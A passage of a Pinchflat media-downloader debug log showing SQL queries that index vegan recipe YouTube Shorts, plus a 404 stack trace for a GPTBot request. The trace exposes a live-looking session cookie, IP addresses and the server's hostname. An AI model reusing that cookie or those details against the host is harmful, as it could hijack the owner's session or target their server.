WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [702] 20:28:17.642 [debug] Current batch of media processed. Will check again in 1000ms 20:28:18.643 [debug] Current batch of media processed. Will check again in 1000ms 20:28:19.644 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Need some vegan and gluten recipe ideas for dinner tonight? No worries, I've got you covered with tons of delicious vegan and gluten free recipes that you've absolutely love.\n\nCheck out my channel for your new favorite vegan and gluten free recipes and subscribe to stay tuned for what I have coming next this week. Thanks for your support! Janelle", "duration" => 12, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-12 What’s for dinner? Plan out your next epic vegan meal 🤤❤️#shorts #youtubeshorts/What’s for dinner? Plan out your next epic vegan meal 🤤❤️#shorts #youtubeshorts [Xx9w3kM5P8w].NA", "id" => "Xx9w3kM5P8w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Xx9w3kM5P8w", "playlist_index" => 314, "timestamp" => 1657663800, "title" => "What’s for dinner? Plan out your next epic vegan meal 🤤❤️#shorts #youtubeshorts", "upload_date" => "20220712"} 20:28:19.645 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=332.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:19.646 [debug] QUERY OK source="sources" db=0.3ms idle=62.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:19.648 [debug] QUERY OK source="media_items" db=2.4ms idle=63.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-12 22:10:00Z], 1] 20:28:19.651 [debug] QUERY OK source="media_items" db=1.3ms idle=66.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Need some vegan and gluten recipe ideas for dinner tonight? No worries, I've got you covered with tons of delicious vegan and gluten free recipes that you've absolutely love.\n\nCheck out my channel for your new favorite vegan and gluten free recipes and subscribe to stay tuned for what I have coming next this week. Thanks for your support! Janelle", "What’s for dinner? Plan out your next epic vegan meal 🤤❤️#shorts #youtubeshorts", "89ee80c1-960d-4331-9191-3c4ee39a573c", 1, [], 12, false, "Xx9w3kM5P8w", "https://www.youtube.com/shorts/Xx9w3kM5P8w", 314, "/downloads/downloads/alec/Steamy Vegan/2022-07-12 What’s for dinner? Plan out your next epic vegan meal 🤤❤️#shorts #youtubeshorts/What’s for dinner? Plan out your next epic vegan meal 🤤❤️#shorts #youtubeshorts [Xx9w3kM5P8w].NA", false, false, true, 0, ~U[2022-07-12 22:10:00Z], ~U[2026-03-22 03:28:19Z], ~U[2026-03-22 03:28:19Z], "Need some vegan and gluten recipe ideas for dinner tonight? No worries, I've got you covered with tons of delicious vegan and gluten free recipes that you've absolutely love.\n\nCheck out my channel for your new favorite vegan and gluten free recipes and subscribe to stay tuned for what I have coming next this week. Thanks for your support! Janelle", "What’s for dinner? Plan out your next epic vegan meal 🤤❤️#shorts #youtubeshorts", 1, 12, false, "Xx9w3kM5P8w", "https://www.youtube.com/shorts/Xx9w3kM5P8w", "/downloads/downloads/alec/Steamy Vegan/2022-07-12 What’s for dinner? Plan out your next epic vegan meal 🤤❤️#shorts #youtubeshorts/What’s for dinner? Plan out your next epic vegan meal 🤤❤️#shorts #youtubeshorts [Xx9w3kM5P8w].NA", true, ~U[2022-07-12 22:10:00Z]] 20:28:19.652 [debug] QUERY OK source="sources" db=0.7ms idle=67.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:19.652 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:19.653 [debug] QUERY OK source="media_items" db=0.7ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [703] 20:28:19.653 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I love cooking up tons of vegan and gluten free dishes in my kitchen. You'll want to hit that subscribe button if you want some fun new vegan recipes to try out at home!\n\nThanks for your support! Janelle", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-12 Guaranteed Sexy Vegan Dishes to Make You Drool 🤤 🔥❤️#shorts #youtubeshorts/Guaranteed Sexy Vegan Dishes to Make You Drool 🤤 🔥❤️#shorts #youtubeshorts [OGoEhxwYX8s].NA", "id" => "OGoEhxwYX8s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/OGoEhxwYX8s", "playlist_index" => 315, "timestamp" => 1657653900, "title" => "Guaranteed Sexy Vegan Dishes to Make You Drool 🤤 🔥❤️#shorts #youtubeshorts", "upload_date" => "20220712"} 20:28:19.655 [debug] QUERY OK source="sources" db=1.0ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:19.655 [debug] QUERY OK source="sources" db=0.4ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:19.657 [debug] QUERY OK source="media_items" db=1.9ms idle=3.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-12 19:25:00Z], 1] 20:28:19.659 [debug] QUERY OK source="media_items" db=0.8ms idle=5.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I love cooking up tons of vegan and gluten free dishes in my kitchen. You'll want to hit that subscribe button if you want some fun new vegan recipes to try out at home!\n\nThanks for your support! Janelle", "Guaranteed Sexy Vegan Dishes to Make You Drool 🤤 🔥❤️#shorts #youtubeshorts", "a4b79f7a-1d32-462b-aefb-cc65cdbc7cbe", 1, [], 15, false, "OGoEhxwYX8s", "https://www.youtube.com/shorts/OGoEhxwYX8s", 315, "/downloads/downloads/alec/Steamy Vegan/2022-07-12 Guaranteed Sexy Vegan Dishes to Make You Drool 🤤 🔥❤️#shorts #youtubeshorts/Guaranteed Sexy Vegan Dishes to Make You Drool 🤤 🔥❤️#shorts #youtubeshorts [OGoEhxwYX8s].NA", false, false, true, 1, ~U[2022-07-12 19:25:00Z], ~U[2026-03-22 03:28:19Z], ~U[2026-03-22 03:28:19Z], "I love cooking up tons of vegan and gluten free dishes in my kitchen. You'll want to hit that subscribe button if you want some fun new vegan recipes to try out at home!\n\nThanks for your support! Janelle", "Guaranteed Sexy Vegan Dishes to Make You Drool 🤤 🔥❤️#shorts #youtubeshorts", 1, 15, false, "OGoEhxwYX8s", "https://www.youtube.com/shorts/OGoEhxwYX8s", "/downloads/downloads/alec/Steamy Vegan/2022-07-12 Guaranteed Sexy Vegan Dishes to Make You Drool 🤤 🔥❤️#shorts #youtubeshorts/Guaranteed Sexy Vegan Dishes to Make You Drool 🤤 🔥❤️#shorts #youtubeshorts [OGoEhxwYX8s].NA", true, ~U[2022-07-12 19:25:00Z]] 20:28:19.659 [debug] QUERY OK source="sources" db=0.4ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:19.660 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:19.661 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [704] 20:28:19.661 [debug] Current batch of media processed. Will check again in 1000ms 20:28:20.469 [info] GET /sources/1/media/412/force_download 20:28:20.470 [debug] QUERY OK source="settings" db=1.0ms idle=810.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:20.471 [debug] QUERY OK source="settings" db=0.4ms idle=810.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:20.471 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:28:20.471 [error] #PID<0.4301.0> running PinchflatWeb.Endpoint (connection #PID<0.4300.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/412/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/412/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4300.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/412/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 52630}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/412", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8" }, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4301.0>, params: %{}, path_info: ["sources", "1", "media", "412", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/412"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/412/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8MHdSwMVXcTqkAAEKR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4300.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/412/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 52630}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/412", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/412/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4300.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/412/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 52630}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYLUhMVmswVW5QRU5QdUhSNGQyaGJHc2FT.m1aInmVI7cVcUUcQlY4wAYGNpHU77-SRNsGO_9LM7Z8", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinch (truncated) 20:28:20.662 [debug] Current batch of media processed. Will check again in 1000ms 20:28:21.663 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "TIN ROOF SUNDAE BANANA NICE CREAM! 🤤 With Chewy swirls of chocolatey nut butter, crunchy pecans and coconut flakes, this nice cream puts a spin on one of my childhood faves. Check out the recipe below and SUBSCRIBE for more!\n\nINGREDIENTS:\n2 frozen bananas -- 1 tbsp maple syrup -- 1/4 to 1/3 cup vanilla or chocolate protein powder -- 3 tbsp sunflower seed or peanut butter -- 1/2 cup dairy-free chocolate chips -- 1/3 cup chopped pecans or peanuts -- 1/4 cup shredded coconut flakes -- 1 tsp vanilla extract -- 1/2 cup nondairy milk\n\n1. In a small bowl, melt the chocolate chips and nut/seed butter in the microwave and stir together until velvety smooth\n2. To a blender add the frozen bananas, maple syrup, protein powder, vanilla extract and nondairy milk and blend until thick and smooth. Add extra milk as needed to help it blend.\n3. Scoop nice cream into a rectangular tin or dish and mix in the coconut flakes, chopped pecans/peanuts. Drizzle the melted chocolate nut butter on top and swirl into the nice cream.\n4. Chill in the freezer for at least 30 mins to allow the chocolate nut butter to firm up and get chewy.\n\nENJOY!", "duration" => 17, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-12 Tin Roof Sundae Banana Nice Cream! 🍨/Tin Roof Sundae Banana Nice Cream! 🍨 [tndMF4o6bso].NA", "id" => "tndMF4o6bso", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/tndMF4o6bso", "playlist_index" => 316, "timestamp" => 1657638904, "title" => "Tin Roof Sundae Banana Nice Cream! 🍨", "upload_date" => "20220712"} 20:28:21.664 [debug] QUERY OK source="sources" db=0.7ms idle=348.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:21.665 [debug] QUERY OK source="sources" db=0.4ms idle=81.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:21.668 [debug] QUERY OK source="media_items" db=2.3ms idle=82.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-12 15:15:04Z], 1] 20:28:21.670 [debug] QUERY OK source="media_items" db=1.5ms idle=85.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["TIN ROOF SUNDAE BANANA NICE CREAM! 🤤 With Chewy swirls of chocolatey nut butter, crunchy pecans and coconut flakes, this nice cream puts a spin on one of my childhood faves. Check out the recipe below and SUBSCRIBE for more!\n\nINGREDIENTS:\n2 frozen bananas -- 1 tbsp maple syrup -- 1/4 to 1/3 cup vanilla or chocolate protein powder -- 3 tbsp sunflower seed or peanut butter -- 1/2 cup dairy-free chocolate chips -- 1/3 cup chopped pecans or peanuts -- 1/4 cup shredded coconut flakes -- 1 tsp vanilla extract -- 1/2 cup nondairy milk\n\n1. In a small bowl, melt the chocolate chips and nut/seed butter in the microwave and stir together until velvety smooth\n2. To a blender add the frozen bananas, maple syrup, protein powder, vanilla extract and nondairy milk and blend until thick and smooth. Add extra milk as needed to help it blend.\n3. Scoop nice cream into a rectangular tin or dish and mix in the coconut flakes, chopped pecans/peanuts. Drizzle the melted chocolate nut butter on top and swirl into the nice cream.\n4. Chill in the freezer for at least 30 mins to allow the chocolate nut butter to firm up and get chewy.\n\nENJOY!", "Tin Roof Sundae Banana Nice Cream! 🍨", "ad92eb67-6130-41c3-ab51-1e8c3a96d8f3", 1, [], 17, false, "tndMF4o6bso", "https://www.youtube.com/shorts/tndMF4o6bso", 316, "/downloads/downloads/alec/Steamy Vegan/2022-07-12 Tin Roof Sundae Banana Nice Cream! 🍨/Tin Roof Sundae Banana Nice Cream! 🍨 [tndMF4o6bso].NA", false, false, true, 2, ~U[2022-07-12 15:15:04Z], ~U[2026-03-22 03:28:21Z], ~U[2026-03-22 03:28:21Z], "TIN ROOF SUNDAE BANANA NICE CREAM! 🤤 With Chewy swirls of chocolatey nut butter, crunchy pecans and coconut flakes, this nice cream puts a spin on one of my childhood faves. Check out the recipe below and SUBSCRIBE for more!\n\nINGREDIENTS:\n2 frozen bananas -- 1 tbsp maple syrup -- 1/4 to 1/3 cup vanilla or chocolate protein powder -- 3 tbsp sunflower seed or peanut butter -- 1/2 cup dairy-free chocolate chips -- 1/3 cup chopped pecans or peanuts -- 1/4 cup shredded coconut flakes -- 1 tsp vanilla extract -- 1/2 cup nondairy milk\n\n1. In a small bowl, melt the chocolate chips and nut/seed butter in 